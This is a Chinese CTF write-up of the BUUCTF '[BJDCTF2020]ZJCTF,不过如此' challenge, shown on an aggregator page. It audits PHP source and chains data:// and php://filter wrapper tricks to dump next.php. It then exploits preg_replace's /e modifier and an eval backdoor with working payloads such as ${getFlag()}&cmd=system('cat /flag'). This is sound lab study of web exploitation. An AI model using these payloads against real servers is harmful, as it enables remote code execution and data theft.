news 2026/8/22 0:06:53

BUUCTF——[BJDCTF2020]ZJCTF,不过如此 做题记录

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF——[BJDCTF2020]ZJCTF,不过如此 做题记录

题目场景:

#解题

对代码进行审计。

error_reporting( )是PHP的内置函数,控制当前脚本要报告哪些类型的错误、警告、提示。

常量含义
0关闭所有错误报告
E_ALL显示所有错误
E_ERROR致命错误
E_WARNING警告
E_NOTICE提示
E_PARSE语法解析错误
E_STRICT代码标准提示

继续审计代码,要求传两个参数text和file。

对于(file_get_contents($text,'r')==="I have a dream")这个条件,

要求以只读方式打开$text文件,文件内容为"I have a dream"。

这里不是去真的找到这个未知文件,而是用到一个PHP协议。

数据流封装协议

完整语法:data://[MIME类型];[编码],数据内容

本题构造:data://text/plain,(字符串)

其核心作用是直接将字符串作为“数据源”来读取,无需依赖外部文件。

简单说就是把字符串伪装成一个可读取的文件流,常被用于代码执行、绕过文件读取限制等场景。

PHP默认启用data://协议,除非在php.ini中通过 allow_url_fopen=Off 或 allow_url_include=Off 禁用。

根据代码审计结果,初步构造payload:

?text=data://text/plain,I have a dream&file=next.php

页面回显结果:

没有有用信息。

继续。

对第二个参数也进行伪协议读取,尝试读取php文件源码。

file=php://filter/convert.base64-encode/resource=next.php

完整payload:

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

这次页面回显:

出现base64字符串,对其进行解码。

解码结果:

<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }

#代码说明

$_SESSION

这是PHP内置的超全局数组,专门用来存储当前用户会话的专属数据。

本题这是个干扰项,用不到。

preg_replace

基本语法:

preg_replace($pattern, $replacement, $subject, $limit=-1, &$count=null);

$pattern末尾可以加修饰符,如 i、g、e等。

i:忽略大小写。 g:全局匹配。

e:替换内容作为PHP代码执行。

(注意:/e修饰符仅在PHP5.x生效)

下面仔细观察题目中对应的这行代码:

preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);

'/(' . $re . ')/ '可以等价为"/($re)/"

PHP字符串解析规则

单引号:不解析变量、仅解析 \'(转义单引号)和\\(转义反斜杠)。

双引号:解析变量、解析常见的转义字符。

正则分组

用()分组匹配,\1 代表引用第一个分组内容。原代码中的 \\1 是因为需要转义,转义后就是 \1 。

这里说的有点细了,我们继续看代码。

接着还有一个foreach函数,作用是遍历所有GET参数(foreach($_GET as $re => $str)),$re代表参数名,$str代表参数值。这里就能解释开始的页面为啥莫名其妙显示这些内容。

依次遍历参数text和file,echo了对应的参数值。

代码搞清楚之后,思路就很清晰了。

首先构造:\S*=${getFlag()}

\S*表示匹配非空白字符0次到无限次。

${getFlag()}表示双引号下 ${...} 当成代码执行。

接着构造:cmd=system('\s /')

查看完目录后,再cmd=system('cat /flag')

没啥好解释的。

最终payload:

?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

或者

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

两种

Congratulations!

【个人理解,如有不妥,欢迎交流指正。】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/14 16:36:14

2026年新手如何做好GEO优化:从零开始的实用指南

随着生成式AI搜索&#xff08;如Google SGE、Bing Chat、Perplexity等&#xff09;的普及&#xff0c;传统的SEO&#xff08;搜索引擎优化&#xff09;正在向GEO&#xff08;生成引擎优化&#xff09;进化。对于刚入门的运营者来说&#xff0c;2026年是布局GEO的最佳时机。一、…

作者头像 李华
网站建设 2026/7/14 16:36:16

VMware下安装centOS7网络桥接模式

以下内容来源于网络和豆包回复的信息&#xff0c;整理以防下次安装不会-------------------------------------------------------超长分割线------------------------------------------------------第一步&#xff1a;VMware安装centos的时候网络要选择桥接模式第二步&#x…

作者头像 李华
网站建设 2026/7/14 16:36:13

用普通摄像头+二维码,我们给机械臂装上了“实惠版”的眼睛

便宜、能用。场景是从桌面抓零件放进模具槽&#xff0c;精度要求不高&#xff0c;2mm都能接受。但机械臂用久了有累积误差&#xff0c;放不到准确位置。一、项目背景&#xff1a;要便宜&#xff0c;也要能“看得见”想做个机械臂抓取平台&#xff0c;预算有限。核心需求&#x…

作者头像 李华
网站建设 2026/7/14 16:36:33

RGB-Mini LED 成百吋赛道新标尺,海信凭什么领跑客厅WALL时代?

文 | 螳螂观察作者 | 沈浪当全球电视市场进入存量博弈&#xff0c;百吋及以上超大尺寸却逆势爆发&#xff0c;成为少数保持高增长的高端细分赛道。洛图科技预测&#xff0c;2026年全球百吋电视出货量将突破250万台&#xff0c;中国市场贡献近一半的出货量。这背后&#xff0c;是…

作者头像 李华
网站建设 2026/7/14 16:36:30

Onnxruntime之多个EP类型

ONNX Runtime中不同类型的Execution Provider&#xff0c;主要分成三大类&#xff0c;每类的实现机制和典型代表如下&#xff1a;&#x1f4ca; 三大类Execution Provider对比类别核心机制Kernel注册执行方式典型代表特点编译型EP整个子图编译成二进制只注册D2H/H2D 可能注册F…

作者头像 李华
网站建设 2026/7/14 16:36:17

lsof 查看写入日志文件的进程是什么

在 CentOS 6 中安装 lsof 非常简单&#xff0c;它属于系统基础工具&#xff0c;可通过官方 YUM 源直接安装&#xff0c;以下是完整的安装步骤&#xff08;适配 CentOS 6 环境&#xff09;&#xff1a; 一、安装 lsof&#xff08;root 用户执行&#xff09; 1. 直接安装&#xf…

作者头像 李华